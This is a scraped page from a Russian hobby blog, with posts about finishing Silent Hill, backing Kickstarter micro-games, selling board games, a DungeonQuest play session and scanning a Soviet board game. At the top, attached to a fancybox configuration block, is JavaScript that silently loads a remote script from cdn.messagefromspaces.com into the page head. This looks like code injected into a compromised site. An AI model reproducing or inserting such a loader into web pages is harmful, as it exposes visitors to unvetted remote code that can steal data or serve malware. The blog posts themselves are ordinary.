, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Наконец-то «Silent Hill» пройден! Очень давно хотел, и вот.

Первый раз игру я запустил в эмуляторе PlayStation One с пиратского диска году эдак в хуйзнает каком. Играть в неё не смог из-за кривости всего. Графика, звук, управление! Приходилось не играть, а корячиться с плагинами к эмулятору. На том и забил.

Потом у меня появилась PlayStation Portable, на которой можно было запускать игры от первой «соньки». Попробовал во второй раз поиграть. И снова ничего не вышло: у карманной приставки не хватало двух шифтов, как у большой. А они нужны для прицеливания. Опять забил.

И вот теперь на PlayStation 3 я её осилил! Ух и страшная же игра. Геймплей с выскакивающими монстрами, которых не видно, а главный герой косой как заяц и мрёт постоянно. Всё это сопровождается потусторонним эмбиентом и звуками «бу!». А самое страшное в игре — это графика. И ещё отношение к игроку: всегда непонятно, что дальше делать, кроме как бесцельно блуждать в тумане, либо тупить над нелогичными и дебильными загадками. «Гештальт» требовал завершённости и половина игры была пройдена с подглядываем в подсказки. Удовольствие это не испортило, а даже наоборот, полегчало очень сильно. Что и игру всё-таки прошёл и что ознакомился с классикой. Уиии!



Ура, мой первый профинансированный проект на Кикстартере наконец-то добрался до меня. Конверт с настольной микроигрой бросили прямо в почтовый ящик. Очень повезло, что ничего не погнулось и не помялось. В комплект игры входит несколько листов с жетонами, небольшое поле размером 9 на 9 сантиметров и буклет правил. Ну и восторг, что всё сработало!


Грустно мне стало вот. Хотел зарегистрироваться на mobygames.com со специальной почтой и всё такое. Только вот сначала забыл почту сделать. Теперь письмо с подтверждением регистрации не пришло и письма с восстановлением пароля не ходят.

Написал в техподдержку. Жду.

Во время переезда нашёл все номера журнала «Великие победы», в которых частями выкладывали новую настольную игру про Великую Отечественную войну. Не столько играть мне в неё хотелось, сколько побегать по ларькам «Союзпечати», охотясь на новые выпуски и отыскивая старые. Коллекционер иногда даёт о себе знать такими маленькими заскоками.

Из обещанных 18-ти выпусков смогли выпустить только 14, да и то с трудом. Ещё тогда идея игры из журналов превратилась в настольную систему «Art of Tactics», а сами журналы оказались не у дел. Но там остались правила и миниатюрки, так что их надо попробовать продать кому они нужнее.

Великие победы 1, 3 и 6
Великие победы 2 и 4
Великие победы 5 и 7
Великие победы 8 и 9
Великие победы 10 и 11
Великие победы 12 и 13
Великие победы 14

После прохождения игры «The Walking Dead» решил приобрести следующую игру этой студии — «The Wolf Among Us». Но почему-то для Айпада. Решил, что там удобнее будет играть.

Однако выяснилось, что играть совсем неудобно, т.к. игра на английском и часто требуется что-то быстро решить по ходу пьесы, а ты не только не успел сообразить, что делать, но и не успел прочитать весь текст. На стимовскую версию можно накатить перевод, а как сделать на Айпаде — непонятно, система-то закрытая и джейлбрейк делать я не собираюсь.

А вот ребята из «Tolma4 Team» не растерялись, перевели 4 сезона и выложили инструкцию русификации игры без джейла (в примере другая игра, но суть та же)! Ха-ха, оказывается, всё-таки в каких-то файлах iOS можно поковыряться. Единственная проблема — это необходимость отключать интернет перед запуском, чтобы не затереть перевод.

Профинансировал настольную микроигру «Province» на Кикстартере. Такая миленькая и всего лишь 7$. Сегодня ещё пришло письмо уточнить почтовый адрес, значит скоро отправят.

Аж руки чешутся что-нибудь ещё там «заказать». Но всё остальное либо мутное барахло с усами, либо дорого выходит.

Чтобы купить что-нибудь ненужное, нужно сначала продать что-нибудь ненужное.

Приобрёл на «Барахолке» настольную игру «Dungeon Petz», где нужно выращивать чёртиков в больших и страшных монстров, чтобы похвастаться ими на выставках, а затем удачно продать владыкам подземелий. Эдакий настольно-подземный томагочи. Кстати, игра является продолжением другой игры того же автора «Dungeon Lords», в которой игроки как раз являются владыками подземелий и с помощью монстров устраивают хорошую жизнь всяким героям и рыцарям.

Игра подкупила интересной темой и оформлением.

В логове импов (фото с сайта Tesera.ru)

Первое, что надо сделать после покупки, это пересчитать компоненты. Покрутил книгу правил, скачал русские правила, ну всё внимательно осмотрел — нигде нет списка компонентов. Бардак какой-то. После проведённого расследования, выяснилось, кто список напечатан на обратной стороне коробки! Кто бы мог подумать. Пересчитал, всё на месте, за исключением наклеек на миньонов, но их не было в комплектации.

И сейчас появились ещё кандидаты на продажу.

Продал ещё одну игру — «Notre Dame». Игра сделана в жанре так называемого кризисного менеджмента.

Кризисный менеджмент — это искусство овладения сложной ситуацией, устранение большей степени риска и неопределенности, позволяющее подчинить своей воле большинство нежелательных процессов и взять контроль над происходящим.

Таким образом, это игра, где происходят всякие неприятности, а у тебя голова кипит, как от них избавиться, да и ещё сделать это получше, чем у других игроков. Сыграли мы один раз и поняли, что это совершенно не наше.

Игру купила молодая женщина своему сыну лет шести-семи. Они оба пришли на встречу и остались довольны покупке.

Ну вот, впервые продал настольную игру из своей коллекции — «Colosseum». Красивая игра со множеством компонентов на тему театральных и гладиаторских постановок у в Древнем Риме. Мы сыграли в неё раза три и нам, в принципе, хватило. Когда мы жили на съёмной двухкомнатной квартире, для всего моего барахла было предостаточно места. А после переезда места стало в два раза меньше и пришло время избавляться от «мёртвого» груза, например, от настольных игр, в которые мы вряд ли уже будем играть или которые нам не очень понравились по механике.

На очереди «Нотр-дам» и «Год Дракона». Но с ними труднее. Пожалуй, снижу ещё цены.

Компоненты игры «Сolosseum»

Фотография взята с сайта издателя «Days of Wonder».

В Озоне появилась игра «Alan Wake» для PC от «Нового диска» с английской озвучкой и русскими субтитрами. Оформил предзаказ.

Трепещите, игровые маньяки, «Diablo III» выходит. Предзаказ ключа доступен по 60$ штучка.

Приобрёл карточную игру «Инновация», в которой игроки прокачивают свою цивилизацию путём — та-дам! — внедрения различных инноваций, начиная с колеса первобытных времён и заканчивая нанотехнологиями информационного века.

Всё это интересно, но издатели правила в игру не вложили. Хорошо, хоть, они на сайте выложены. А теперь придётся их долбить, чтобы отдельно буклет выдали.

В игра «Коронация» мне попались два перевёртыша:

Происки упырей, не иначе.

В воскресенье перед сном мы решили сбегать за сокровищами. Десять минут — и игра «DungeonQuest» разложена на столе.

Игра «DungeonQuest» (фото взято с BGG)

Несмотря на то, что это была ознакомительная партия и некоторые вопросы по правилам так и остались неотвеченными, само приключение было очень и очень интересным.

Я застрял в самом начале, уперевшись в стенку, пройдя всего четыре комнаты. Машка же уверенно прокладывала путь к сокровищнице дракона. Поначалу мы осматривали попадающиеся по дороге трупы предыдущих неудачников в надежде получить какие-нибудь ништяки, но вместо этого мы получили немало люлей от местных маленьких монстров. И решили оставить трупы в покое от греха подальше. Лучше идти вперёд!

Машка уверенно брела по лабиринту без особых приключений и, глядя на то, как ей осталось пару шагов до сокровищницы, я решил проскочить участок по катакомбам. Но вместо того, чтобы быстро проскочить, я заблудился там. Да и ещё мой хлипкий маг был укушен вампиром, после чего я начал терять по 1 жизни каждый ход.

В этот момент Машка вовсю уже шарила по сокровищам под носом у дракона. Злоупотреблять гостеприимством дракона она не стала и направилась к выходу. Однако на том пути, по которому она пришла, находился мостик, и целый пук нахапанных сокровищ крайне осложнял переход по нему. Поэтому она решила проложить новый путь. Я же в это время продолжал без толку шароёбитья по катакомбам. Машке повезло наткнуться на парочку коридоров, которые можно проскочить быстро и без проблем, но внезапно у неё потух факел. Пришлось его зажигать и терять драгоценное время, ведь Солнце уже склонялось к закату, а наступление ночи в подземелье означает смерть всем приключенцам, не успевших выбраться. До выхода Машке оставалось пару шагов, как путь закончился тупиком. Немного пошарив по стенами, она обнаружила секретную дверь, а за ней — ебучего монстра! Пришлось убегать, сломя голову. Но совсем не далеко. В следующей комнатей её закусали крысы насмерть и её приключение закончилось.

А я так и не выбрался из катакомб.

Заморочился и перевёл текст всех карт базового набора игры «Call of Cthulhu LCG», используя перевод правил Алексея Тарасенко.

Осталось найти с кем поиграть.

Кроме «Конверсии» у меня дома завалялась ещё одна советская игра 1988-го года, не похожая на клоны монополий. Игра называется «Старый замок». В состав игры входят фишки игроков и 36 тайлов замка из которых собирается лабиринт. Цель игрока — первому выбраться из замка.

Игра «Старый замок» упоминается в статье «Обзор немецкой игровой серии «Labyrinth»».

В общем я собрался с силами и отсканировал материалы этой игры. Т.к. качество исходника желало быть более лучшим, то обработка сканов свелась к подгонке размеров и цветокоррекции.

Материалы для печати игры «Старый замок» (6.9 Мб)

«EMS Почта России» удивила. Мало того, что посылки идут столько же времени, как если бы они посылались через USPS, так ещё и посылку умудрились на дом доставить. Как, собственно, и должно быть.

Я столько слышал про их йобнутых курьеров, которые не делают свою работу, что уже привык к мысли ехать на Вернадского за посылкой, а тут на тебе.

Ко мне наконец-то приехала кооперативная игра «Pandemic»! А также ещё одна кооперативная игра того же автора — «Forbidden Island».

Пять лет ждал я этого момента и вот он наступил. Вчера на концерте группы «Dsh!-Dsh!» я получил автограф у Андриеша Гандрабура, создателя музыки к игре «Мор.Утопия».

Ждал, готовился, заказал зарубежное издание игры «Pathologic» из-за рубежа, даже смог найти её в забитой хламом кладовке, а сам момент протупил — неправильную ручку выбрал. Теперь на обложке игры красуется полуначёрканная закорючка.

Эх, растыка я.

Отредактировал специальную памятку для игры «Ужас Аркхэма» с использованием терминов и названий из официальной русской локализации игры.

Читать полностью »

В настольно игре «Ca$h 'n Gun$» есть замечательные поролоновые пистолеты. Но радость была бы неполной без более настоящих. Пластмассовые пистолеты, стреляющие пульками, очень жуткие в эксплуатации, можно и глаз выбить, если что. А вот деревянные — самое то!

На лотках Москвы в продаже имеются «Беретты», «Бульдоги», «Люгеры», «Карабины» большие и «Карабины» малые, а также «Узи». Я выбрал китайского «Бульдога» за большущие деньги, раза в два, а то и три дороже получилось. А качество оказалось говняненьким таким, кто бы сомневался. Детальки кривые, вырубка кривая, фанерки тоже не ахти. Инструкция — вообще кривая, что пиздец. Но ничего, вместе мы его собрали кое-как. Более менее криво.

Если присмотреться, то видно отвалившуюся детальку из ствола. Надо бы его обработать и на клей посадить, суку, прежде чем использовать в игре. В принципе, если найти такие пистолеты подешевле, то можно самому сделать игру и выйдет, вы не поверите, дешевле!